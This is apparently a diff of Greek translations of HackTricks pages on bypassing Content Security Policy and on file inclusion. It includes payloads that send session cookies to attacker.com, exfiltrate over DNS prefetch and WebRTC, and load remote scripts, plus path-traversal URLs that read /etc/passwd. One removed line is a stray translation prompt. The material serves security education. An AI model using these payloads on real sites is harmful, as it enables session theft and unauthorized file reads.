Αν καταφέρεις να κάνεις τον server να απαντήσει με την κεφαλίδα **`Content-Security-Policy-Report-Only`** με μια **τιμή που ελέγχεται από εσένα** (ίσως εξαιτίας ενός CRLF), μπορείς να την κατευθύνεις προς τον server σου και αν **τυλίξεις** το **JS content** που θέλεις να exfiltrate με **`<script>`**, και επειδή είναι πολύ πιθανό το `unsafe-inline` να μην επιτρέπεται από την CSP, αυτό θα **προκαλέσει ένα CSP error** και μέρος του script (που περιέχει τις ευαίσθητες πληροφορίες) θα σταλεί στον server μέσω του `Content-Security-Policy-Report-Only`.
|
||||||
|
|
||||||
For an example [**check this CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
Για παράδειγμα [**δείτε αυτό το CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||||
|
|
||||||
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
|
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
|
||||||
```javascript
|
```javascript
|
||||||
document.querySelector("DIV").innerHTML =
|
document.querySelector("DIV").innerHTML =
|
||||||
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
|
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
|
||||||
```
|
```
|
||||||
### Leaking Information with CSP and Iframe
|
### Leaking Πληροφορίες με CSP και Iframe
|
||||||
|
|
||||||
- Ένα `iframe` δημιουργείται που δείχνει σε ένα URL (ας το ονομάσουμε `https://example.redirect.com`) το οποίο επιτρέπεται από CSP.
|
- Δημιουργείται ένα `iframe` που δείχνει σε ένα URL (ας το ονομάσουμε `https://example.redirect.com`) το οποίο επιτρέπεται από CSP.
|
||||||
- Αυτό το URL στη συνέχεια ανακατευθύνει σε ένα μυστικό URL (π.χ., `https://usersecret.example2.com`) που **δεν επιτρέπεται** από CSP.
|
- Αυτό το URL στη συνέχεια ανακατευθύνεται σε ένα μυστικό URL (π.χ. `https://usersecret.example2.com`) το οποίο **δεν επιτρέπεται** από το CSP.
|
||||||
- Ακούγοντας το event `securitypolicyviolation`, μπορεί κάποιος να συλλάβει την ιδιότητα `blockedURI`. Αυτή η ιδιότητα αποκαλύπτει το domain του blocked URI, εκθέτοντας το μυστικό domain στο οποίο ανακατεύθηκε το αρχικό URL.
|
- Ακούγοντας το `securitypolicyviolation` event, μπορεί κανείς να καταγράψει την ιδιότητα `blockedURI`. Αυτή η ιδιότητα αποκαλύπτει το domain της blocked URI, leaking το μυστικό domain στο οποίο ανακατευθύνθηκε το αρχικό URL.
|
||||||
|
|
||||||
Είναι ενδιαφέρον ότι browsers όπως οι Chrome και Firefox έχουν διαφορετική συμπεριφορά στην αντιμετώπιση των iframes σε σχέση με το CSP, οδηγώντας σε πιθανή έκθεση ευαίσθητων πληροφοριών λόγω μη ορισμένης συμπεριφοράς.
|
Αξίζει να σημειωθεί ότι περιηγητές όπως Chrome και Firefox έχουν διαφορετική συμπεριφορά στην διαχείριση των iframes σε σχέση με το CSP, οδηγώντας σε πιθανή leakage ευαίσθητων πληροφοριών λόγω μη καθορισμένης συμπεριφοράς.
|
||||||
|
|
||||||
Μια άλλη τεχνική περιλαμβάνει την εκμετάλλευση του CSP για να εξαχθεί το μυστικό subdomain. Αυτή η μέθοδος βασίζεται σε έναν αλγόριθμο δυαδικής αναζήτησης και στην προσαρμογή του CSP ώστε να συμπεριλαμβάνει συγκεκριμένα domains που αποκλείονται σκόπιμα. Για παράδειγμα, αν το μυστικό subdomain αποτελείται από άγνωστους χαρακτήρες, μπορείς επαναληπτικά να δοκιμάσεις διαφορετικά subdomains τροποποιώντας την οδηγία CSP για να μπλοκάρεις ή να επιτρέψεις αυτά τα subdomains. Εδώ υπάρχει ένα snippet που δείχνει πώς το CSP μπορεί να ρυθμιστεί για να διευκολύνει αυτή τη μέθοδο:
|
Μια άλλη τεχνική περιλαμβάνει την εκμετάλλευση του CSP για να συμπεράνετε τον μυστικό υποτομέα. Αυτή η μέθοδος βασίζεται σε αλγόριθμο δυαδικής αναζήτησης και στην προσαρμογή του CSP ώστε να συμπεριλαμβάνει συγκεκριμένα domains που σκόπιμα μπλοκάρονται. Για παράδειγμα, αν ο μυστικός υποτομέας αποτελείται από άγνωστους χαρακτήρες, μπορείτε επαναληπτικά να δοκιμάζετε διαφορετικούς υποτομείς τροποποιώντας την οδηγία CSP ώστε να τους μπλοκάρει ή να τους επιτρέπει. Ακολουθεί ένα snippet που δείχνει πώς μπορεί να ρυθμιστεί το CSP για να διευκολύνει αυτή τη μέθοδο:
|
||||||
```markdown
|
```markdown
|
||||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||||
```
|
```
|
||||||
Παρακολουθώντας ποιες αιτήσεις αποκλείονται ή επιτρέπονται από το CSP, μπορεί κανείς να περιορίσει τους πιθανούς χαρακτήρες στο μυστικό υποτομέα, αποκαλύπτοντας τελικά το πλήρες URL.
|
Παρακολουθώντας ποιες αιτήσεις μπλοκάρονται ή επιτρέπονται από το CSP, μπορεί κανείς να περιορίσει τους πιθανούς χαρακτήρες στον μυστικό subdomain και τελικά να αποκαλύψει το πλήρες URL.
|
||||||
|
|
||||||
Και οι δύο μέθοδοι εκμεταλλεύονται τις αποχρώσεις στην υλοποίηση του CSP και τη συμπεριφορά των browsers, δείχνοντας πώς οι φαινομενικά ασφαλείς πολιτικές μπορεί ακούσια να leak ευαίσθητες πληροφορίες.
|
Και οι δύο μέθοδοι εκμεταλλεύονται τις ιδιαιτερότητες της υλοποίησης του CSP και τη συμπεριφορά των browsers, δείχνοντας πώς φαινομενικά ασφαλείς πολιτικές μπορούν ακούσια leak ευαίσθητες πληροφορίες.
|
||||||
|
|
||||||
Trick from [**here**](https://ctftime.org/writeup/29310).
|
Κόλπο από [**here**](https://ctftime.org/writeup/29310).
|
||||||
|
|
||||||
## Μη ασφαλείς τεχνολογίες για παράκαμψη του CSP
|
## Μη ασφαλείς τεχνολογίες για παράκαμψη του CSP
|
||||||
|
|
||||||
### PHP Σφάλματα όταν υπάρχουν πάρα πολλές παράμετροι
|
### PHP Errors when too many params
|
||||||
|
|
||||||
Σύμφωνα με την [**τελευταία τεχνική που σχολίαζεται σε αυτό το βίντεο**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), η αποστολή υπερβολικών παραμέτρων (1001 GET parameters αν και μπορείτε επίσης να το κάνετε με POST params και με περισσότερα από 20 files). Οποιοδήποτε ορισμένο **`header()`** στον PHP web κώδικα **δεν θα σταλεί** λόγω του σφάλματος που θα προκληθεί.
|
Σύμφωνα με το [**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), η αποστολή υπερβολικών παραμέτρων (1001 GET parameters αν και το ίδιο μπορεί να γίνει και με POST params και περισσότερα από 20 αρχεία). Οποιοδήποτε ορισμένο **`header()`** στον PHP web κώδικα **δεν θα σταλεί** λόγω του σφάλματος που θα προκληθεί.
|
||||||
|
|
||||||
### Υπερφόρτωση buffer απάντησης της PHP
|
### PHP response buffer overload
|
||||||
|
|
||||||
Η PHP είναι γνωστή ότι κάνει buffering της απάντησης στα 4096 bytes από προεπιλογή. Επομένως, αν η PHP εμφανίζει μια προειδοποίηση, παρέχοντας **αρκετά δεδομένα μέσα στις προειδοποιήσεις**, η **απάντηση** θα **σταλεί** **πριν** το **CSP header**, με αποτέλεσμα το header να αγνοηθεί.\
|
Το PHP είναι γνωστό ότι **bufferίζει την απάντηση στα 4096** bytes από προεπιλογή. Επομένως, αν το PHP εμφανίζει μια warning, παρέχοντας **αρκετά δεδομένα μέσα στις warnings**, η **απάντηση** θα **σταλεί** **πριν** το **CSP header**, με αποτέλεσμα το header να αγνοηθεί.
|
||||||
Η τεχνική ουσιαστικά συνίσταται στο **γέμισμα του response buffer με προειδοποιήσεις** ώστε το CSP header να μην σταλεί.
|
Η τεχνική λοιπόν βασικά συνίσταται στο **γέμισμα του response buffer με warnings**, ώστε το CSP header να μην σταλεί.
|
||||||
|
|
||||||
Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
||||||
|
|
||||||
### Kill CSP via max_input_vars (headers already sent)
|
### Kill CSP via max_input_vars (headers already sent)
|
||||||
|
|
||||||
Επειδή τα headers πρέπει να σταλούν πριν από οποιαδήποτε έξοδο, οι προειδοποιήσεις που παράγει η PHP μπορούν να ακυρώσουν μετέπειτα κλήσεις `header()`. Αν τα δεδομένα χρήστη υπερβούν το `max_input_vars`, η PHP εκτυπώνει πρώτα μια startup warning· οποιαδήποτε επακόλουθη `header('Content-Security-Policy: ...')` θα αποτύχει με “headers already sent”, απενεργοποιώντας ουσιαστικά το CSP και επιτρέποντας reflective XSS που διαφορετικά θα ήταν μπλοκαρισμένο.
|
Επειδή τα headers πρέπει να σταλούν πριν από οποιαδήποτε έξοδο, οι warnings που εκδίδει το PHP μπορούν να ακυρώσουν μετέπειτα κλήσεις `header()`. Αν τα δεδομένα χρήστη υπερβούν το `max_input_vars`, το PHP ρίχνει πρώτα μια startup warning· οποιοδήποτε μεταγενέστερο `header('Content-Security-Policy: ...')` θα αποτύχει με “headers already sent”, απενεργοποιώντας ουσιαστικά το CSP και επιτρέποντας reflective XSS που αλλιώς θα ήταν μπλοκαρισμένο.
|
||||||
```php
|
```php
|
||||||
<?php
|
<?php
|
||||||
header("Content-Security-Policy: default-src 'none';");
|
header("Content-Security-Policy: default-src 'none';");
|
||||||
echo $_GET['xss'];
|
echo $_GET['xss'];
|
||||||
```
|
```
|
||||||
Please paste the README.md content from src/pentesting-web/content-security-policy-csp-bypass/ that you want translated into Greek.
|
Παράδειγμα:
|
||||||
```bash
|
```bash
|
||||||
# CSP in place → payload blocked by browser
|
# CSP in place → payload blocked by browser
|
||||||
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"
|
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"
|
||||||
@ -633,9 +633,9 @@ curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
|
|||||||
# Warning: PHP Request Startup: Input variables exceeded 1000 ...
|
# Warning: PHP Request Startup: Input variables exceeded 1000 ...
|
||||||
# Warning: Cannot modify header information - headers already sent
|
# Warning: Cannot modify header information - headers already sent
|
||||||
```
|
```
|
||||||
### Επανεγραφή Σελίδας Σφάλματος
|
### Επανεγγραφή σελίδας σφάλματος
|
||||||
|
|
||||||
Από [**this writeup**](https://blog.ssrf.kr/69) φαίνεται ότι ήταν δυνατό να γίνει bypass μιας προστασίας CSP φορτώνοντας μια σελίδα σφάλματος (πιθανώς χωρίς CSP) και επανεγράφοντας το περιεχόμενό της.
|
Από [**this writeup**](https://blog.ssrf.kr/69) φαίνεται ότι ήταν δυνατό να bypass μια προστασία CSP φορτώνοντας μια σελίδα σφάλματος (πιθανώς χωρίς CSP) και επαναγράφοντας το περιεχόμενό της.
|
||||||
```javascript
|
```javascript
|
||||||
a = window.open("/" + "x".repeat(4100))
|
a = window.open("/" + "x".repeat(4100))
|
||||||
setTimeout(function () {
|
setTimeout(function () {
|
||||||
@ -644,40 +644,41 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
|
|||||||
```
|
```
|
||||||
### SOME + 'self' + wordpress
|
### SOME + 'self' + wordpress
|
||||||
|
|
||||||
SOME είναι μια τεχνική που εκμεταλλεύεται ένα XSS (ή πολύ περιορισμένο XSS) **σε ένα endpoint μιας σελίδας** για να **εκμεταλλευτεί** **άλλα endpoints της ίδιας origin.** Αυτό γίνεται φορτώνοντας το ευάλωτο endpoint από μια σελίδα επιτιθέμενου και στη συνέχεια ανανεώνοντας τη σελίδα επιτιθέμενου στο πραγματικό endpoint στην ίδια origin που θέλετε να εκμεταλλευτείτε. Με αυτόν τον τρόπο το **vulnerable endpoint** μπορεί να χρησιμοποιήσει το αντικείμενο **`opener`** στο **payload** για να **έχει πρόσβαση στο DOM** του **real endpoint to abuse**. Για περισσότερες πληροφορίες δείτε:
|
SOME είναι μια τεχνική που εκμεταλλεύεται ένα XSS (ή ένα πολύ περιορισμένο XSS) **in an endpoint of a page** για να **abuse** **other endpoints of the same origin.** Αυτό γίνεται φορτώνοντας το vulnerable endpoint από μια attacker σελίδα και μετά ανανεώνοντας την attacker σελίδα προς το real endpoint στην ίδια origin που θέλετε να εκμεταλλευτείτε. Με αυτόν τον τρόπο το **vulnerable endpoint** μπορεί να χρησιμοποιήσει το αντικείμενο **`opener`** στο **payload** για να **access the DOM** του **real endpoint to abuse**. Για περισσότερες πληροφορίες δείτε:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../xss-cross-site-scripting/some-same-origin-method-execution.md
|
../xss-cross-site-scripting/some-same-origin-method-execution.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
Επιπλέον, **wordpress** έχει ένα **JSONP** endpoint στο `/wp-json/wp/v2/users/1?_jsonp=data` που θα **reflect** τα **data** που στέλνονται στην έξοδο (με τον περιορισμό ότι επιτρέπονται μόνο γράμματα, αριθμοί και τελείες).
|
Επιπλέον, **wordpress** έχει ένα **JSONP** endpoint στο `/wp-json/wp/v2/users/1?_jsonp=data` που θα **reflect** τα **data** που στέλνονται στην έξοδο (με τον περιορισμό ότι μόνο γράμματα, αριθμοί και τελείες επιτρέπονται).
|
||||||
|
|
||||||
Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό το endpoint για να **generate a SOME attack** εναντίον του WordPress και να **embed** αυτό μέσα στο `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` σημειώστε ότι αυτό το **script** θα είναι **loaded** επειδή επιτρέπεται από **'self'**. Επιπλέον, και επειδή το WordPress είναι εγκατεστημένο, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί τη **SOME attack** μέσω του **vulnerable** **callback** endpoint που **bypasses the CSP** για να δώσει περισσότερα προνόμια σε έναν χρήστη, να εγκαταστήσει νέο plugin...\
|
Ένας attacker μπορεί να εκμεταλλευτεί αυτό το endpoint για να δημιουργήσει ένα SOME attack κατά του WordPress και να το ενσωματώσει μέσα στο `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` — σημειώστε ότι αυτό το **script** θα **φορτωθεί** επειδή είναι **allowed by 'self'**. Επιπλέον, και επειδή το WordPress είναι εγκατεστημένο, ένας attacker μπορεί να εκμεταλλευτεί την **SOME attack** μέσω του **vulnerable** **callback** endpoint που **bypasses the CSP** για να δώσει περισσότερα privileges σε έναν χρήστη, να εγκαταστήσει ένα νέο plugin...\
|
||||||
Για περισσότερες πληροφορίες σχετικά με το πώς να πραγματοποιήσετε αυτή την επίθεση δείτε [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
Για περισσότερες πληροφορίες σχετικά με το πώς να πραγματοποιήσετε αυτή την επίθεση δείτε [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||||
|
|
||||||
## CSP Exfiltration Bypasses
|
## CSP Exfiltration Bypasses
|
||||||
|
|
||||||
Αν υπάρχει αυστηρό CSP που δεν σας επιτρέπει να **interact with external servers**, υπάρχουν μερικά πράγματα που μπορείτε πάντα να κάνετε για να exfiltrate the information.
|
Αν υπάρχει αυστηρή CSP που δεν σας επιτρέπει να **interact with external servers**, υπάρχουν κάποια πράγματα που πάντα μπορείτε να κάνετε για να exfiltrate την πληροφορία.
|
||||||
|
|
||||||
### Location
|
### Location
|
||||||
|
|
||||||
Μπορείτε απλά να αλλάξετε το location για να στείλετε στον server του επιτιθέμενου τις μυστικές πληροφορίες:
|
Μπορείτε απλά να ενημερώσετε το location για να στείλετε στον server του attacker τις μυστικές πληροφορίες:
|
||||||
```javascript
|
```javascript
|
||||||
var sessionid = document.cookie.split("=")[1] + "."
|
var sessionid = document.cookie.split("=")[1] + "."
|
||||||
document.location = "https://attacker.com/?" + sessionid
|
document.location = "https://attacker.com/?" + sessionid
|
||||||
```
|
```
|
||||||
### Meta tag
|
### Meta tag
|
||||||
|
|
||||||
Μπορείτε να ανακατευθύνετε με την εισαγωγή ενός meta tag (πρόκειται απλώς για ανακατεύθυνση, αυτό δεν θα leak περιεχόμενο)
|
Μπορείτε να ανακατευθύνετε εισάγοντας ένα meta tag (αυτή είναι απλώς μια ανακατεύθυνση — αυτό δεν θα leak το περιεχόμενο)
|
||||||
```html
|
```html
|
||||||
<meta http-equiv="refresh" content="1; http://attacker.com" />
|
<meta http-equiv="refresh" content="1; http://attacker.com" />
|
||||||
```
|
```
|
||||||
### DNS Prefetch
|
### DNS Prefetch
|
||||||
|
|
||||||
Για να φορτώνουν οι σελίδες πιο γρήγορα, οι browsers προεπιλύουν hostnames σε IP addresses και τα αποθηκεύουν στην cache για μετέπειτα χρήση.\
|
Για να φορτώνουν οι σελίδες πιο γρήγορα, οι περιηγητές προεπιλύουν ονόματα κεντρικών υπολογιστών σε διευθύνσεις IP και τα αποθηκεύουν στην cache για μετέπειτα χρήση.\
|
||||||
Μπορείτε να υποδείξετε σε έναν browser να προ-επιλύσει ένα hostname με: `<link rel="dns-prefetch" href="something.com">`
|
Μπορείτε να υποδείξετε σε έναν περιηγητή να προεπιλύσει ένα όνομα κεντρικού υπολογιστή με: `<link rel="dns-prefetch" href="something.com">`
|
||||||
|
|
||||||
Μπορείτε να εκμεταλλευτείτε αυτή τη συμπεριφορά για να **εξαγάγετε ευαίσθητες πληροφορίες μέσω DNS requests**:
|
Μπορείτε να εκμεταλλευτείτε αυτή τη συμπεριφορά για να **exfiltrate sensitive information via DNS requests**:
|
||||||
```javascript
|
```javascript
|
||||||
var sessionid = document.cookie.split("=")[1] + "."
|
var sessionid = document.cookie.split("=")[1] + "."
|
||||||
var body = document.getElementsByTagName("body")[0]
|
var body = document.getElementsByTagName("body")[0]
|
||||||
@ -699,11 +700,11 @@ document.head.appendChild(linkEl)
|
|||||||
X-DNS-Prefetch-Control: off
|
X-DNS-Prefetch-Control: off
|
||||||
```
|
```
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Φαίνεται ότι αυτή η τεχνική δεν λειτουργεί σε headless browsers (bots)
|
> Φαίνεται πως αυτή η τεχνική δεν λειτουργεί σε headless browsers (bots)
|
||||||
|
|
||||||
### WebRTC
|
### WebRTC
|
||||||
|
|
||||||
Σε πολλές σελίδες μπορείτε να διαβάσετε ότι **το WebRTC δεν ελέγχει την πολιτική `connect-src` του CSP**.
|
Σε αρκετές σελίδες θα διαβάσετε ότι **το WebRTC δεν ελέγχει την πολιτική `connect-src` του CSP**.
|
||||||
|
|
||||||
Στην πραγματικότητα μπορείτε να _leak_ πληροφορίες χρησιμοποιώντας ένα _DNS request_. Δείτε αυτόν τον κώδικα:
|
Στην πραγματικότητα μπορείτε να _leak_ πληροφορίες χρησιμοποιώντας ένα _DNS request_. Δείτε αυτόν τον κώδικα:
|
||||||
```javascript
|
```javascript
|
||||||
@ -727,7 +728,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
|||||||
```
|
```
|
||||||
### CredentialsContainer
|
### CredentialsContainer
|
||||||
|
|
||||||
Το αναδυόμενο παράθυρο διαπιστευτηρίων στέλνει ένα DNS αίτημα προς το iconURL χωρίς να περιορίζεται από τη σελίδα. Λειτουργεί μόνο σε ασφαλές περιβάλλον (HTTPS) ή σε localhost.
|
Το παράθυρο διαπιστευτηρίων στέλνει ένα DNS αίτημα στο iconURL χωρίς να περιορίζεται από τη σελίδα. Λειτουργεί μόνο σε ασφαλές περιβάλλον (HTTPS) ή στο localhost.
|
||||||
```javascript
|
```javascript
|
||||||
navigator.credentials.store(
|
navigator.credentials.store(
|
||||||
new FederatedCredential({
|
new FederatedCredential({
|
||||||
@ -738,7 +739,7 @@ iconURL:"https:"+your_data+"example.com"
|
|||||||
})
|
})
|
||||||
)
|
)
|
||||||
```
|
```
|
||||||
## Έλεγχος Πολιτικών CSP στο διαδίκτυο
|
## Έλεγχος Πολιτικών CSP στο Διαδίκτυο
|
||||||
|
|
||||||
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
|
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
|
||||||
- [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
|
- [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
|
||||||
@ -759,6 +760,4 @@ iconURL:"https:"+your_data+"example.com"
|
|||||||
- [https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket](https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket)
|
- [https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket](https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket)
|
||||||
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -4,14 +4,14 @@
|
|||||||
|
|
||||||
## File Inclusion
|
## File Inclusion
|
||||||
|
|
||||||
**Remote File Inclusion (RFI):** Το αρχείο φορτώνεται από έναν απομακρυσμένο server (Best: You can write the code and the server will execute it). Στο php αυτό είναι **απενεργοποιημένο** από προεπιλογή (**allow_url_include**).\
|
**Remote File Inclusion (RFI):** Το αρχείο φορτώνεται από απομακρυσμένο διακομιστή (Καλύτερο: μπορείς να γράψεις τον κώδικα και ο διακομιστής θα τον εκτελέσει). Στο php αυτό είναι **απενεργοποιημένο** από προεπιλογή (**allow_url_include**).\
|
||||||
**Local File Inclusion (LFI):** Ο server φορτώνει ένα τοπικό file.
|
**Local File Inclusion (LFI):** Ο διακομιστής φορτώνει ένα τοπικό αρχείο.
|
||||||
|
|
||||||
Η ευπάθεια προκύπτει όταν ο χρήστης μπορεί με κάποιο τρόπο να ελέγξει το file που πρόκειται να φορτωθεί από τον server.
|
Η ευπάθεια εμφανίζεται όταν ο χρήστης μπορεί με κάποιο τρόπο να ελέγξει το αρχείο που πρόκειται να φορτωθεί από τον διακομιστή.
|
||||||
|
|
||||||
Ευάλωτες **PHP functions**: require, require_once, include, include_once
|
Ευάλωτες **PHP functions**: require, require_once, include, include_once
|
||||||
|
|
||||||
Ένα ενδιαφέρον εργαλείο για να εκμεταλλευτείς αυτή την ευπάθεια: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
Ένα ενδιαφέρον εργαλείο για την εκμετάλλευση αυτής της ευπάθειας: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||||
|
|
||||||
## Blind - Interesting - LFI2RCE files
|
## Blind - Interesting - LFI2RCE files
|
||||||
```python
|
```python
|
||||||
@ -19,43 +19,43 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
|
|||||||
```
|
```
|
||||||
### **Linux**
|
### **Linux**
|
||||||
|
|
||||||
**Συνδυάζοντας διάφορες \*nix LFI λίστες και προσθέτοντας περισσότερες διαδρομές δημιούργησα αυτήν:**
|
**Συνδυάζοντας διάφορες λίστες *nix LFI και προσθέτοντας περισσότερες διαδρομές, δημιούργησα αυτή:**
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
|
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
Δοκίμασε επίσης να αλλάξεις `/` με `\`\
|
Δοκιμάστε επίσης να αλλάξετε `/` για `\`\
|
||||||
Δοκίμασε επίσης να προσθέσεις `../../../../../`
|
Δοκιμάστε επίσης να προσθέσετε `../../../../../`
|
||||||
|
|
||||||
Μια λίστα που χρησιμοποιεί διάφορες τεχνικές για να βρει το αρχείο /etc/password (για να ελεγχθεί αν υπάρχει η ευπάθεια) μπορεί να βρεθεί [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
Μια λίστα που χρησιμοποιεί διάφορες τεχνικές για να βρει το αρχείο /etc/password (για να ελέγξετε αν υπάρχει η ευπάθεια) μπορεί να βρεθεί [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||||||
|
|
||||||
### **Windows**
|
### **Windows**
|
||||||
|
|
||||||
Merge of different wordlists:
|
Συνδυασμός διαφορετικών wordlists:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
|
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
Δοκίμασε επίσης να αλλάξεις `/` με `\`\
|
Δοκιμάστε επίσης να αλλάξετε `/` για `\`\
|
||||||
Δοκίμασε επίσης να αφαιρέσεις `C:/` και να προσθέσεις `../../../../../`
|
Δοκιμάστε επίσης να αφαιρέσετε `C:/` και να προσθέσετε `../../../../../`
|
||||||
|
|
||||||
Μια λίστα που χρησιμοποιεί διάφορες τεχνικές για να βρει το αρχείο /boot.ini (για να ελεγχθεί αν υπάρχει η ευπάθεια) μπορεί να βρεθεί [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
Μια λίστα που χρησιμοποιεί διάφορες τεχνικές για να βρει το αρχείο /boot.ini (για να ελέγξετε αν υπάρχει η ευπάθεια) μπορεί να βρεθεί [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||||||
|
|
||||||
### **OS X**
|
### **OS X**
|
||||||
|
|
||||||
Έλεγξε τη λίστα LFI του linux.
|
Ελέγξτε τη λίστα LFI του linux.
|
||||||
|
|
||||||
## Βασικά LFI και bypasses
|
## Basic LFI and bypasses
|
||||||
|
|
||||||
All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
|
Όλα τα παραδείγματα είναι για Local File Inclusion αλλά μπορούν επίσης να εφαρμοστούν σε Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
|
||||||
```
|
```
|
||||||
http://example.com/index.php?page=../../../etc/passwd
|
http://example.com/index.php?page=../../../etc/passwd
|
||||||
```
|
```
|
||||||
### traversal sequences αφαιρούνται μη-αναδρομικά
|
### traversal sequences αφαιρούνται μη αναδρομικά
|
||||||
```python
|
```python
|
||||||
http://example.com/index.php?page=....//....//....//etc/passwd
|
http://example.com/index.php?page=....//....//....//etc/passwd
|
||||||
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
||||||
@ -63,15 +63,15 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
|||||||
```
|
```
|
||||||
### **Null byte (%00)**
|
### **Null byte (%00)**
|
||||||
|
|
||||||
Bypass της προσθήκης επιπλέον χαρακτήρων στο τέλος της δοθείσας συμβολοσειράς (bypass of: $\_GET\['param']."php")
|
Bypass της προσθήκης επιπλέον χαρακτήρων στο τέλος της παρεχόμενης συμβολοσειράς (bypass of: $\_GET\['param']."php")
|
||||||
```
|
```
|
||||||
http://example.com/index.php?page=../../../etc/passwd%00
|
http://example.com/index.php?page=../../../etc/passwd%00
|
||||||
```
|
```
|
||||||
Αυτό έχει **επιλυθεί από PHP 5.4**
|
Αυτό είναι **επιλυμένο από το PHP 5.4**
|
||||||
|
|
||||||
### **Encoding**
|
### **Κωδικοποίηση**
|
||||||
|
|
||||||
Μπορείτε να χρησιμοποιήσετε μη-τυπικά encodings όπως double URL encode (και άλλα):
|
Μπορείτε να χρησιμοποιήσετε μη τυπικές κωδικοποιήσεις όπως double URL encode (και άλλες):
|
||||||
```
|
```
|
||||||
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
||||||
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
||||||
@ -84,38 +84,38 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
|||||||
```python
|
```python
|
||||||
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
